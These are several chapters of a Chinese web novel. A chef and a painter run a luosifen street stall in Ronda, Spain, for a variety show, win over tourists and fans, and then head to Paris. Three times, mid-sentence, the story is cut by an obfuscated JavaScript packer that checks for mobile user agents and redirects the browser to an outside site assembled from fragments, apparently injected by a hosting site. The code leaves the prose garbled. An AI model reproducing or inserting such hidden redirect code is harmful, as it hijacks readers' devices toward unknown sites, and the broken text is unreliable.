说来也怪，好像每个游子一出了国门，都能自动学会分辨土生土长中国人、华裔移民和日韩邻居。 这一家很明显就是来旅游的内地人。 那位母亲无奈地指指趴在餐车边的孩子：“先来一……两碗吧。小孩长了个狗鼻子，在新桥上就非说闻到螺蛳粉味了，领着我们一路找过来。” 小孩眨眨眼睛，嘴很甜：“大哥哥，你做的螺蛳粉太香啦，比我在国内吃过的闻着都好呢……所以能不能给我多加点腐竹呀。” “当然可以。”蒋醉余失笑。 齐新雨看看那位母亲的眼神，也笑道：“愿意带孩子吃路边摊的家庭还挺少见的呢。” 那母亲说：“我们家走南闯北多了，什么都尝尝总没坏处。” 蒋醉余把两碗粉递给他们，小孩一边抽气一边迫不及待地开吃。 年纪小不妨碍筷子技巧高深。何塞眼看着自己手里滑溜溜的米线被那两根木棍钳制，就像最老练的渔夫紧紧握住了拼命挣扎的大鱼，胜利在此时已成定局。 他伸出手偷偷比划了半天，也没看明白筷子是怎么操控的，看着自己刚才还用得很顺手的叉子叹了口气。 另一碗则被两个大人举着拍了半天，深入贯彻“相机先吃”的理念，然后才分食起来。 刚一入口，他们就露出相当惊喜的表情。在龙达这样定居华人稀少的欧洲小镇，能凑齐螺蛳粉的新鲜原料就已经很不容易，两人原本并没有对味道抱有太大希望。 但吃了之后他们才知道自己的想法错得多离谱。不要说达到及格线，这甚至比他们在国内吃到的味道都要好。 米粉火候适中，生菜绵软而不失爽脆。 各类调料平衡得恰到好处，鲜辣椒的甜辣和干辣椒的香辣互补风味，骨汤将汤底变得香浓醇厚，却丝毫不掩多种螺类的各自特色。 “真可惜，我们只在龙达规划了一天行程，”那位父亲有些遗憾地把空碗扔进摊位垃圾袋里，“我觉得我明天还会想吃的。” 一家人吃饱喝足，走到草坡更深处拍照。 何塞担心衣服上的油点固化，也在吃完第二碗粉之后便告辞。 草坪顿时安静下来。 这地方比他们想象中偏僻许多。隔着一条街的距离，螺蛳粉的气味也很难飘到人头攒动的新桥景点去。 ……可能就算飘到街上，也会被当地人以为是谁家厨房或卫生间出了问题吧。 总而言之，四人在这里又待了几个小时，只有零星几位食客前来：他们不是被何塞介绍来的老朋友，就是在街上闻见熟悉香味的中国游客。 就算这几位野生客人，也全靠蒋醉余把螺蛳粉汤桶架到火上，温度进一步激发香气，让它们穿得更远。 除此以外，他们似乎真的无能为力了。 天高云淡，风吹草浪，小餐车单薄得令人心疼。 甚至两个直播平台的观众已经开始建议蒋醉余，要不提前开始准备他的惩罚吧。 节目组不许离开摆摊地招揽生意，在这里等着客人到来，大概连守株待兔都谈不上，更像在等天上掉馅饼。 加布里埃尔闷闷不乐地盛了一点汤底，仔细品味：“虽然这个气味对我来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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母亲也接话道：“而且那边景色真不错，特别出片。” “你们看我这不会说话的，”店长也尴尬起来，“我知道你在说哪里了，有时间我一定去。” 他们不知道自己离开餐厅后，有吃甜品的客人朝店主打听了草坡的具体位置，一回房间就连忙把照片从相机里导出来。 一家人都热爱旅游和美食，再加上摄影水平不错，也就顺理成章地在自媒体时代成为了小有名气的博主，大号蘑菇环游世界，小号叫蘑菇别吃啦。 趁着国内正是晚间流量高峰，他们连忙把昨天晚上到今天白天的游记发出来。 【中国人不愧是地球“街溜子”，谁敢信我在天空之城吃到了人生螺蛳粉。】 【感谢我家小孩灵敏的鼻子，带我找到了这个宝藏摊位。一碗炸蛋螺蛳粉仅需三点五欧，还能边吃美食边眺望新桥。】 【老板非常会选位置，电影感和油画感同时垂怜了这片草坡，而且没有别人，不需要在摩肩接踵的新桥上插空取景。】 蘑菇女士又检查一遍自己修好的图，人像或风景照有种《音乐之声》式的自由烂漫，暖色调的螺蛳粉望之便引人垂涎，酸笋的香味又在口中冒了出来。 明天早起肯定碰不上出摊，要不晚饭还吃螺蛳粉吧，她一边发送笔记一边想。 这个提案得到全家人的认可，他们休息之后兴致勃勃地回到草坡，此时蒋醉余等人早已离开。 蒋醉余痛定思痛，在试图贿赂任务惩罚的出题人小齐先生未遂后，第二天少准备了一半的材料，却又一次在抵达阿拉伯拱门时被眼前的景象惊呆。 我的草坡怎么一夜之间长出来这么多人啊！ “螺蛳粉摊来啦！” 随着一声大喊，游客们摩西分海似的给他让出一条路来。他们吸了吸鼻子，目光灼灼地望向汤桶。 按照面前这个规规矩矩但跃跃欲试的队伍长度……蒋醉余沉吟起来，今天带的材料很大概率是不够的。 他掠过这群满怀期待的眼神，下意识抓住身边的齐新雨。 “小齐，能不能请你帮我一个忙，”他说，“帮我拖两个小时，我回去再备一批料。” 作为一名厨师，他怎么可能接受让食客败兴而归。 齐新雨点点头，回握住他的手：“路上和厨房里都要注意安全，这边有我，不要着急。” 他眨眨眼，声音很轻地补了一句：“就当是蒋先生昨晚贿赂成功了吧。好您再来哦。” 50. 卤鸡爪大修版 美色惑人。 齐新雨坐在摊位前，很认真地反思自己。 两个小时说长不长、说短不短，就算新桥的景色再好、螺蛳粉的香气再吸引人，也不足以支撑游客停驻如此长的时间。 为了让手中的材料多坚持一段时间，他们甚至已经限制了每人只能买一碗粉。 现场三个人中，加布里埃尔负责煮粉和青菜，胡安承担后续的组装工作，齐新雨在一边忧愁地看着越来越短的队伍。 他看看手边的便携画具，终于下定决心。 不一会，齐新雨搬着小凳子坐到远处草坪上，导演举着喇叭喊起来。 针对现在正在排队的客人，可以选择到另一边接受一幅齐新雨手绘的纪念画，并在蒋醉余回来后凭购买记录领取实体画作。 能够随身携带的速写本，画幅只有巴掌大，但足以把情绪刻进笔触的情绪，记下景物本色之上跃动的感性氛围。 “你们是跟团游，怎么会来这里呀？我以为旅行团的时间安排都很紧的。”齐新雨一边画画，一边和客人聊天。 “是我们导游定的行程呢。”客人有些好笑地说。 “她在旅馆的餐厅碰见了一家中国人，说螺蛳粉好吃、拍照还好看。我们是自己组的团，行程比较自由，她一说有这个项目，我们就一致同意来看看。” 原本觉得出片是主要目的，没想到一来就被螺蛳粉征服了，反倒变成为了等螺蛳粉而开始拍照消磨时间。 随着一幅幅画的完成，队伍的人逐渐被吸引到他身边。他为情侣画上没能被带来的宠物泰迪，或是按照客人的愿望，为绿树掩映的新桥披上橙黄金红的秋景。 只是从这样简略的作品就不难感受到，创作者是如何深爱着这个世界。如果让齐新雨从前的老师看到，一定会大吃一惊： 他从前最为出名的特质就是，他热衷于情人、贪欲之类自有暧昧色调的题材，落笔却从来带着冷眼旁观的淡漠，就好像作画者无法理解这些澎湃的情感。 他已经在这个风格走到了极处，数年来寻求突破而不得。 可眼下这几幅画的风格依然理性疏离，却更偏向于兼爱众生万物；如果说从前是看透尘世，那如今便是看透后仍为之动容。 每一株砖缝间抽出的草芽都是怒放的生命，仿佛有谁伸出手把他拉进了这个人间。 看到画像的食客无一不被画面所征服，一句句诉说着感谢，甚至有人想要有偿求取更正式的作品。 “不用谢我，我很喜欢画画，而且很想让你们尝到摊主的手艺。不过如果实在想感谢我的话……”齐新雨把本子翻到空白一页，狡黠地笑起来。 这边拍照和画像的旅人巧笑倩兮，那边吃货们坚持不懈地守在摊前，力求能率先吃上下一波螺蛳粉。 当蒋醉余坐着导演组的车赶回来时，整片草坡竟显示出一种热闹却有序的安逸来。 随着他的出现，秩序的场景被瞬间打破，齐新雨身边除了个别美术爱好者，大多数围观的人们都窃窃私语着跑向餐车。 “我怎么觉得这次好像比刚才还香……” “你也闻到了吗，我还以为是我馋得出现幻觉了。” “不对，肯定是多了点肉香。” 齐新雨也站起身，走到蒋醉余身边，慢腾腾地抱怨：“蒋先生比计划的两个小时晚了十二分钟。” “我真是个坏蛋，”蒋醉余说，“小齐先生能不能原谅我，我给你带了好吃的。” 他握着齐新雨的手，合力打开自己带来的另一个大盆。站在前排的小姑娘发出响亮而很长一声“哇——”。 她不太好意思地往后缩了缩：“不好意思，看到鸡爪太激动，打扰到你们调情了。” 那盆中并不如大家所猜，放着补货的炸蛋，而是小半盆红亮的卤鸡爪。当不锈钢盆被放到餐车上，依稀可见鸡爪饱满的掌心胶原蛋白轻轻晃动。 “我在回民宿的路上碰见一个卖鸡肉的摊子，老板正要把边角料扔掉。”蒋醉余解释道。 热爱啃小骨头的中国人怎么能允许老板暴殄天物，蒋醉余当即买下了他手中的所有鸡爪，在熬汤底的空闲期间卤了一锅。 成熟的食客们不做选择，要把炸蛋和鸡爪这对“新欢旧爱”一网打尽。 “这边有纸巾那边有小袋子，垃圾都可以扔回摊上哦。”齐新雨们熟练地提醒。 顾客“嗯嗯”地答应着，还没走开就先夹起鸡爪狠狠咬了一口。 今天时间不算充裕，鸡爪是相当有嚼劲的口感。因为有小骨头的存在，食用者不自觉地放慢吞咽速度、开始细细咀嚼。 最外层泡在螺蛳粉汤里，沾上酸笋的复杂气息；接着感受到的是卤水的香料味，咸香扑鼻。 等到外层浓烈霸道风味散尽，就凸显出鸡爪内心的醇厚，细嚼两口竟然有种在吃清炖蹄膀的满足充实感。 舌头在“追杀”细骨头的时候从唇齿间扫过，顶着黏黏糊糊的汤汁涂抹到口腔的边边角角，最终留下满口浓郁的卤汁香味。 “今天真是涨见识了，”食客喟叹道，“我以前觉得鸡爪就要无骨软烂的才好，没想到在这里被完全颠覆了认知。” “明天可能会炖得烂一点，欢迎再来。”蒋醉余说。 食客很伤心：“老板你不要提醒我啦，我今天晚上就回塞维利亚，哪还有第二顿可吃！” 话音未落，他们就听到一个兴致勃勃的声音：“老板，我来当回头客啦。” 是何塞。 他带着一帮老朋友，不知什么时候悄悄排在了人群里。 何塞拍拍身边另一位男士的肩膀：“都怪这个老家伙迟到，还非要扯谎说什么有个人包揽了他肉铺的所有边角料！谁会买那种东……呃。” 他眨了眨眼，被自己的好兄弟捂住嘴。 肉铺老板看着蒋醉余，讪笑一声：“原来是你啊。” 最终他们一行人每人要了一份加炸蛋的螺蛳粉，但对于这群欧洲小镇土著来说，没脱骨的鸡爪还是有点太越级挑战了。 何塞的朋友们中，只有肉铺老板为了支持“顾客”的生意要了鸡爪。 何塞本人则选择地狱难度：他不仅要吃鸡爪，还选了筷子作为工具。 他正骄傲地宣布自己苦心研究一晚上的新发现： “只要把两只筷子尾对尾放在纸巾上，然后把纸巾卷起来、对折，我们就获得了一只很好用的夹子！可以像中国人一样夹起米粉吃了！” 他旁边的华人悄悄投来看异端的眼神。 蒋醉余看着闹哄哄的人群，漏出一点笑意。 虽然这么说可能不太好，但是路边摊这群热情的顾客，反应可比严谨优雅的厨艺比赛评委们令人满足多了。 他回过头，喊了一声站在队伍首位抱着手机的白人男生。他拇指翻飞，仿佛在屏幕上舌战群儒。 听到有人喊自己，他才“腾”地抬起头，像在研讨会上被助教眼神锁定了一般瞬间挺胸站直，大喊一声“到”。 好一位清澈大学生。 齐新雨噗地笑出来：“可能是习俗不同，我们这边吃螺蛳粉不用军训的。” 男生尴尬地放下手机，走到摊前，很快调整好了心情，激动地望向摊后众人：“醉余，真的是你！我要一份满配螺蛳粉！ 蒋醉余捞出锅里最后一份米粉，他还在念念叨叨： “我果然找对地方了！我从《美食之王》第一集就被醉余你的菜征服了，我还买了当时你做意面用的那个腐乳，用来抹贝果我能一次吃三个…… “所以我能不能跟你握个手啊。” 蒋醉余为难地看了眼只剩一只新手套的盒子：“我们可能需要考虑食品卫生……” 男生表示理解，转而又问：“那我能不能摸一下你的袖子啊，求你了，我是代表整个粉丝群来的，我们真的很想沾染一点厨神气息！” 还在“赏味期”内的年轻男孩露出可怜巴巴的表情，像被谁抛弃了小狗，蒋醉余莫名看着他想起齐新雨…… 不对，齐新雨还是更像猫，情绪来得内敛得多，蒋醉余有时候甚至想用“相敬如宾”形容他们两个。 他默许地伸手把食物地给大学生，男生捏住他的袖口与螺蛳粉合照，一副感动模样：“妈妈我出息了，我摸到醉余的厨师服了！” 他深吸一口气，平复了心情，突然向着摊位鞠了一躬。 “我是龙达本地人，在看到直播后代表我们整个‘紫怪兽’社交软件上的《美食之王》粉丝社群前来。 “我们都非常感谢醉余、加布里埃尔、胡安和其他优秀的选手带来这季热血又温馨的节目，也很高兴能看到你们还会一起互动。” 正好下一锅米粉还没煮好，蒋醉余向后面的客人微微点头致歉，摘下右手手套。齐新雨会意地递来纸笔。 “对我个人而言，我尤其感谢醉余。我以前不太喜欢镇上的亚洲餐馆，但你让我了解到了真正用心的中西融合菜是什么模样。 “从前自诩美食爱好者的我，还是太狭隘了。谢谢你带给我认识世界的热情。” 男生很难向别人描述，当他发现《摆摊日记》第一集就在自己生长的小镇时，是怎样的心情。他还有很多话要讲，但在此住了口。 因为蒋醉余递给了他一张新鲜出炉的签名。 “该说谢谢的是我才对，”蒋醉余说，“没有你们的支持，我从《美食之王》退赛或组建新的综 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775127|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艺团队都不会这么顺利。” 到了收获下一锅米粉的时间，他戴上最后一只新手套。 “我听他那个意思，老板你是个名人呀？”顾客有些好奇地打听，又带着《美食之王》第五季这个名字和一肚子没吃明白的瓜离开队伍。 所以这个节目到底为什么引进国内失败、又夭折到选手都跑路了啊！她一定要马上……不对，等吃完螺蛳粉，她就去搜！ 另一边，男生学着何塞的样子制作出筷子夹，向群友们三百六十度炫耀自己的螺蛳粉。 群友在网线另一头无能狂怒，男生深感华山之巅孤独寂寞，顺手点开了社群的功能区。 紫怪兽软件的社区功能十分丰富。 男生加入的是《美食之王》第五季最大、最活跃的一个频道，其中拥有上万用户，除了常规的聊天和发帖以外，甚至还能语音聊天、开直播。 这么色“香”味俱全的东西，有一个赛博邻居没看到都是他的失职！男生找了块大石头把手机架好，打开了直播页面。 直播已开启，就有几位群友刷着问号冲进来：【你甚至要发视频馋我们？】 男生已经顾不上他们。 他习惯性地扇闻一下食物的味道，不由得把嘴撇到一边。凑近了守着自己的螺蛳粉，那股独特的味道愈发强烈，直抵颅顶。 视线在碗中逡巡一圈，腐竹和鸡蛋看起来就很吸味；虽然他很信任醉余的手艺，但是吃鸡的脚也太奇怪了，后面再试。 这个白色的配菜看着很普通，体积也不大，作为入门食物应该不会出错吧。 他这样想着，伸出“筷子”夹起了酸笋。 酸笋小小的身体内藏着巨大的能量。 一口咬下去，酸笋应声断裂，清脆的咀嚼声经由骨传导炸响在耳边，也清晰地传到网线那头，误入直播间的观众停下了退出的手。 然后占据了感官的是发酵物的酸味。只用清水浸泡制成的酸笋味道不算重，酸香和竹笋的清甜跟着涌上来。 大学生紧缩的眉头舒展开。作为被很多人嫌弃的盐醋味薯片爱好者，他对这股酸味接受良好。有点怪，但不是不能再来一口。 他就这样挑挑拣拣地白嘴吃掉了大半酸笋，终于意识到碗里还有别的食材，犹豫片刻夹起了鸡爪。 鸡爪吃起来是截然不同的口感，堪称这碗里最韧的一种食材。掌心一大块肉在牙齿的研磨和口腔的挤压下，发出类似于“咕啾咕啾”的声音。 男生又很有创意地把酸笋和鸡爪一起吃下去，清爽与温吞的声音依偎互补，奏出一场口腔中的交响乐。 能在多云的温和夏日里吃到这么神奇的菜肴，还收到了男神的签名，他幸福得眯起眼睛。 等他吃完粉，看着餐车前漫长的队伍已经基本消失，重新打开紫怪兽，准备去聊天页面总结陈词，这才发现直播不知道什么时候已经中断。 应该没人在意吧，他思索一秒，发出自己的感受： 【兄弟们我吃完了，真的很好吃！正好明后天是周末，建议南欧朋友可以直接冲，不好吃我把头给你当足球踢！】 群里众人各聊各的，仿佛没看见他说话。大学生茫然地把消息重发两遍，终于有人回应： 【哥们你知不知道，你的炸蛋和米粉都还没吃，直播就莫名其妙断了。】 那样金黄蓬松的炸蛋、被筷子夹起来会调皮抖动的劲道米粉、红汤顺着两瓣胚乳流入内心的花生……他们什么都没来得及看，就看不到了啊！ 【他们被你炫耀得心痒痒，早就买好明天抵达的车票，准备嗦粉顺便去和你真人快打了！你最好祈祷龙达很大，或者明天戒一天粉。】 大学生表情一僵。 很遗憾，龙达实在是一座很小的城镇。 它对游客来说值得光顾的景点谈不上多，比如草坡上吃螺蛳粉的很多人，就是为它留出了过多的行程，以至于在小城里无所事事起来。 所以当大数据把那位旅游美食博主“蘑菇”的文章推到他们面前时，华人游客如潮水一波波涌来，又带动着其他路人抱着好奇的心态跟风来扎堆。 最终结果是，车上的食材竟然卖了个精光，连小桶里最后一点酸豆角都有人买去，说想用来下白人饭。 导演在回民宿的车上，翻翻数据做例行总结： “首先恭喜各位嘉宾，今天我们超额完成了任务。 “但我们刚刚在食客所说的社群里观察到一波舆情，明后天是周末，西班牙本地游客可能会激增。” 她瞧瞧两位拉着手撞来撞去的幼稚常驻嘉宾，又瞥瞥两位犹在拌嘴的飞行嘉宾，提高音量：“所以，请大家继续努力，让更多人爱上螺蛳粉吧！” 51. 全家福螺蛳粉 （上一章修文增加了一千五百字，感兴趣的宝宝可以翻回去看，不想看的话修改内容如下： 大学生食客的人设改成了《美食之王》万人观众社群的一员，因为是龙达本地人所以跑来亲身尝试小蒋的菜，吃播也改成了群内直播。他的群友们被他吸引选择在这个周末来到龙达。） - 蒋醉余突然理解了导演昨天说的“游客激增”是什么意思。 龙达不太宽敞的大街上人头攒动，这他能理解，毕竟是暑期周末的旅游城市。 但是为什么他的民宿外面也等满了人啊？ “醉余，到点上班啦！我们都闻到螺蛳粉汤的香味了！” 那些人焦急地催促着，引得本地人纷纷驻足。蒋醉余只好抓紧收拾餐车骑出门。 齐新雨惯常推着自行车跟在他身后，劈头盖脸被闪光灯的白光浇了一身。 恍惚之间，只听到人群中一声请求格外奋力：“醉余，我能在这里点单吗！” 等到了草坡，几人还没来得及做些什么，顾客又一股脑冲了上来。 他们分工明确地搬走了大大小小的食材桶，没捞到干活的人只能在旁边着急：“醉余！你要是累了不如让我把车骑上去吧！” 蒋醉余被一声声“醉余”淹没，拿出最快速度支好摊子，生怕晚一步客人就要急得来生啃他。 摄影师打开直播，食客们自觉地给刚刚出了力的人让位，比如做过抬汤桶这种工作就可以站在前两位。 “要什么呢？”蒋醉余指指面前的盒子，熟练地问，“配菜可以六选三。” 他们今天又增加了不少食材，除了炸蛋和鸡爪以外，还多了同样油锅沉浮的香肠和猪皮。 考虑到西方世界的素食风潮，塞维利亚的中超老板则专程给送来了油豆腐和魔芋毛肚两种素菜。 明明看着满目琳琅，结果竟然成年人都不能选择全都要。 “怎么配菜也限购了！”最前排顾客发出悲鸣。 蒋醉余无奈地看了眼已经排成之字形的队伍。 客人念念不舍地看了好几眼油汪汪的猪皮，忍痛道：“那就要鸡爪、魔芋和豆腐吧。” 这是一组相对健康的选择。 这位抬过汤桶的女士在隔壁马拉加开健身房，昨天在《美食之王》的社群看到吃播原本没怎么在意， 可到晚上准备睡觉时，那大学生一口一口咀嚼鸡爪的样子，却不断在她脑中回荡。 直到半夜做梦饿得一口啃到床头柜上，她干脆起了床。青春没有售价，骑车五小时直捣龙达。 熬夜的收获是值得的。 成功站在新桥上看到崖边日出，她觉得自己是西班牙最有意志力的女人。 如今看着明显不健康却美味的配菜，她引以为傲的坚持却几乎要一败涂地。 站在摊位前的每一秒，猪皮的焦香和香肠的咸香都在孜孜不倦地飘进她的嗅觉系统。 她从摊主们手中接过螺蛳粉，半刻也无法停留，转身就向远处跑去。 她忍了太久，生怕自己会在齐新雨夹配菜的时候大喊一声“给我把魔芋换成炸蛋”。 就算是健身房老板也不会喜欢那些低卡魔芋面，它们的味道实在无法令人恭维。 要不是汤底一看就热量爆炸，她绝不可能咬牙选择魔芋作为配菜。 现在只能寄希望于《美食之王》的前选手们有把食材变废为宝的魔力了。她一边想，一边迫不及待地插起鸡爪。 就像蒋醉余当初说的，今天的鸡爪和昨天是截然不同的口感。虎皮鸡爪过了一遭油，外皮坚韧、纤薄，完全吸饱了卤汁的咸鲜。 内里的肉炖得烂烂的，只需要轻轻一抿，小骨头就自然而然脱离了皮肉。 哪怕是完全不会吃边角部位的人，也可以不费周章挑出它们。 按照摊主的建议，她咬开油豆腐，把它疏松洁白的内心按进螺蛳粉汤里。 豆腐咕嘟咕嘟地大口喝着汤底，轻轻戳一下就能从四面八方溢出来。 同样吸汁的魔芋毛肚却是截然不同的口感。一口咬下感受到的是全然的爽脆，比鸡爪更有嚼劲，比酸笋更软弹。 作为魔芋面或魔芋米时一切不受人喜爱的特质，此时都变得完美起来。 鸡爪软烂、豆腐浓郁、魔芋爽弹。一个念头不由得降临在她的脑海中：也不知道另外三种辅料是什么样的。 这个疑问一旦冒出，就再也无法被抑制。 炸蛋外壳的脆，应该和这几种炸货都不同；切了花刀的香肠尖角处，则一定会是又干又香…… 等她回过神来，自己已然捧着碗，在队伍边喊起来： “有没有素食主义者！这里只有两种素菜，只要你把多出来的那个配菜额度给我，我愿意请你吃粉！” 摊主虽然说一个人只许买三样食材，却没说不能互相“分享”啊。 她问了几遍，人群中一只手颤颤巍巍地伸起来。 三两句话谈好交易，她便跟在对方身边排队。 没吃完的螺蛳粉还抱在她手里，她要留着这点粉搭配自己的新菜，暂时舍不得全吃完。 她含情脉脉地望着那碗粉，已经想象起了猪皮跳脱的口感。以她为中心，腹部不满的嗡鸣此起彼伏，无数人艳羡地分泌起唾液。 刚刚答应了她的素食主义者咽了三分钟口水，痛下决心戳了戳她： “其实……我是正在挑战全素的‘蛋奶素食’，现在我有点想等吃完饭再继续挑战。” “啊？”健身房老板炸眨眼，没反应过来。 “所以我准备选炸蛋作为‘我自己的’第三个配菜……要不你去找别人吧。”素食主义者强调道。 也许毁约是不太好的行为，但是这时候顾不上这么多了。 健身房老板被请出了队伍。 她看看手里有点凉了的螺蛳粉，欲哭无泪。 “我就知道，世界上根本没什么救世主！只有自己才是可靠的！” 与此同时，另一个人也发出被骗了的怒吼。 又一次跑到摊位上来的大学生举起香肠，缩缩脖子：“还有一口，你吃吗？” “吃。” 大学生稍微扭头，耸肩摊手，露出一个嘲讽的玩笑表情，旁边人都笑起来。 他们是《美食之王》观众社群里比较相熟的一群人，正趁着这个机会见网友一面。 作为公开放毒还得到了现场全部四位嘉宾签名的叛徒，大学生顺理成章成为了团体中地位最低的一位。 他受到健身房老板的启发，主动提出自己愿意把每样配菜都分一半出来，以此争取“原谅”。 但谁也没想到，一番紧张刺激的线上比骰子之后，一位欧皇获得了全部三样菜的食用权。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他们原定今天从马德里回国，但三个人都对螺蛳粉惦记得辗转反侧，干脆选择了从马拉加出发转机回国。 在前往马拉加的机场之前，他们又一次来到龙达。 “您是中国人，以后会回国继续卖螺蛳粉吗？”蘑菇满怀期待地问，“我们可以去拍探店视频！” “会回国的，”齐新雨轻轻说，“但是不一定卖什么哦。欢迎关注《摆摊日记》，节目直播会一直持续到我们回国。” 一只手落在他肩头，拇指从脖颈扫过。齐新雨缩缩脖子，回过头去。蒋醉余单手拿着电话，含笑看着他。 他——至少在遇见齐新雨之前——不常露出这样的笑。原本是眉头略沉的相貌，不苟言笑时显得有些凶，一笑起来却像是能把全世界捧出来。 齐新雨伸手去捂他的脸，他怕自己再对视下去要忍不住干出什么不足为外人道的事情。 一家三口赶车去了，蒋醉余静静地问：“回国？” 齐新雨点点头，被这张脸一盯把什么话都吐了出来：“回国，跟你回国。” 蒋醉余满意了一点，一扬手机：“下一站在法国。那边可是有一位视你为缪斯的先生，因为太想为你创作，兜兜转转委托管家把电话打到我这里来约时间呢。” 说的叫什么话。 齐新雨眼珠一瞥从他脸上扫过，鸦睫掩着目光，眼瞳路径清晰分明，像有千般情绪。 他探手，一言不发地取过摊位上那瓶醋来。 52. 盖浇饭选什么 蒋醉余几人完完整整早起上了五天班，剩下两天周末也并不空闲。 他们只来得及匆匆忙忙去马德里玩一天，就要赶往法国准备下一周的摆摊。 但对视频网站追直播的观众来说，这可是整整两天的煎熬折磨。 【周末一犹豫没吃到醉余做的螺蛳粉，现在看都看不到了，我还有什么盼头！】外网有观众追悔莫及。 “我做的不算正宗，很多材料都是买的半成品，”蒋醉余安慰道，“大家如果有时间，可以通过144小时过境免签到广西本地吃。” 蒙站的观众们则另辟蹊径：【直播间不是有一群主播的老粉吗，你们偶像以前的节目在哪啊，救救孩子！】 【等到周六晚上，综艺正片就上线啦，到时候欢迎大家来看哦！】老粉说着，贴心地送来一个群号。 新粉哭得更大声了：【周四我的直播就回来了，周六出录播能有什么用！】 有蒋醉余的忠实粉丝聂晴打入《摆摊日记》的出品方内部，自然是节目小范围宣传时就提醒了其他粉丝。 这群人成为了直播间最初的人气来源。爱豆消失已久，男团英伦分队一个月都不见得有一份物料，她们的心比大〇发杀了十年鱼还冷。 为了宣泄自己的兴奋，她们一开播就不管不顾地砸了好一波礼物，成功把综艺送上了直播分区的榜单。 后来的观众也从字里行间猜到，这些人应该是了解点什么前缘的。这下直播暂停两天，他们一下想起了这群人。 老粉从群里神神秘秘地发来一个视频文件的压缩包： 【酱鱼在欧美拍《美食之王》的无梅森评委、无安迪选手的纯净版，大家不要外传哦。】 这个版本原本是西方观众剪的，但屡屡被原节目组举报侵权，最终变成了有缘观众藏在网盘里的“公开秘密”。 她们想了想，又发来另一个链接合集：【这是酱鱼以前的唱跳单人直拍，除了他宣布退团的最后一次舞台都是齐的。】 【破公司气死我了！最后一次舞台这么有意义，凭什么不给我们看，到现在连个repo都没有！】老粉一提就骂起来。 新粉还没反应过来，缓缓敲出一个问号：啊？你说谁？ 老粉把压箱底半年的安利词翻出来：【剑眉星目，暴徒外表；温和包容，爹系性格；一条酱鱼，两种风味！】 潜伏在群里的齐新雨噗地一声笑出来。 蒋醉余还抱着那瓶醋，很迷茫地看向他：“坐车不要玩手机，小心晕车。” “回民宿这几分钟的车程不算，”齐新雨把头扭开，“我都要跑路去给别人当缪斯啦，谁能管我。” 话里话外，很是有些娇矜的埋怨。 蒋醉余不知道该说什么，只好在旁边小声赔罪：“我错了，我只见过一对缪斯和艺术家，就是我们两个……” 情急之下，早就忘了AI老师告诉过他，这种关系“可能是爱情，也可能不是”。 齐新雨叹气：“蒋先生猜猜，为什么会是管家打电话给你。”他强调这个行为中出现的两个角色。 “路易斯设计师不联系我，难道是因为他不喜欢吗？” 蒋醉余眼神微微亮起来。 “他找过我好多次啦，我不想去，”齐新雨说，“所以他只能想办法曲线救国。” 路易斯先生的运气比他想象中好一点。 几个小时前，在马德里机场，蒋醉余两人与加布里埃尔和胡安告别，小雀斑依依不舍地说以后要去中国找他玩。 几十分钟前，蒋醉余对着摄像机说，在巴黎机场外遇到的第一个本地人，就是他问摆摊地点的对象。 几分钟前，法国土著薇薇安带着他们找到目的地，齐新雨看到了一个有些熟悉的身影。 “我们这周的摆摊菜品来自一位华人留学生，”他尽量镇定地对着摄像机说，“他想吃自选盖饭。” “摆摊地点是……某知名秀场后门的街边。” 很不巧，它也是路易斯这周的工作地点。 路过的路易斯看到节目组的设备和房车停在这里，有些疑惑地望过来。 齐新雨下意识地攥住蒋醉余前胸衬衫，给自己寻找掩体。 可他实在有点不够矮，把头埋进肩膀里都显得勉强，最有辨识度的黑发碧眼偏要露在外面。 他揪着那节衣服，动作突然卡住，目光无措地在蒋醉余身上扫过一圈。 “蒋先生救我。”他说。 蒋醉余从喉口飘出一点笑意，伸手捧住他的脸，把自己轻轻靠过去。 首先额头相靠，然后是鼻翼，接着动作停了下来。 齐新雨末端循环不好，鼻尖冰凉，其余部位却像过载的机器一样烧起来。 那张从来被盛赞“眉压眼却深情”的脸在他已经罢工的视觉中越放越大，荡成两个甚至四个重影。 他睁着眼，整个人都陷入僵硬。 可能、大概、的确，没有任何方法比这个姿势更适合自然地挡住脸了吧。 时间只为魔法少女变身静止，寻常人没有这样的殊荣。 路易斯已经没发现任何异常地远去。 薇薇安犹豫半天，手指张开巨大缝隙“捂着眼睛”提醒：“虽然我很想说你们多亲，我爱看，但是现在是不是有更要紧的事情。” 齐新雨张了张口，蒋醉余松开手，他立刻兔子一样弹了出去。 他结巴着扯开话题：“自选盖饭需要买的菜不少吧，要不先去逛逛市场。” “自选盖饭是指什么？”薇薇安顺势问道。 严格来讲，这完全不能算是一种菜，而只是一种售卖方法。 通常在支付固定的金额后，顾客可以获得一盒饭，并从摊位上的诸多炒菜炖菜中分荤素自选菜品，有的商家还会赠送免费例汤。 这样的路边摊，从前被视为是生活不尽如意者才会选择的廉价盒饭。 如今以“东北自选盒饭”为首的小摊们，却凭借其“便宜碗大”的性价比和浓油重酱的诱人外表，在互联网时代重新杀出一条路来。 蒋醉余看过那个点餐的留学生发给自己的视频。 博主的视频在土灶上拍成，大铁锅中盛着洁白晶莹的米饭，将红烧肉、小炒肉等味道浓烈的荤菜压在其下。 铲子一翻，肉菜带着汤汁重新掩过新米的风采。 无论农家环境还是这种老式铁锅，本就容易给人淳朴的旧时畅想；画面再一转，博主站在小摊后，说出一个低得令都市人发狂的价格。 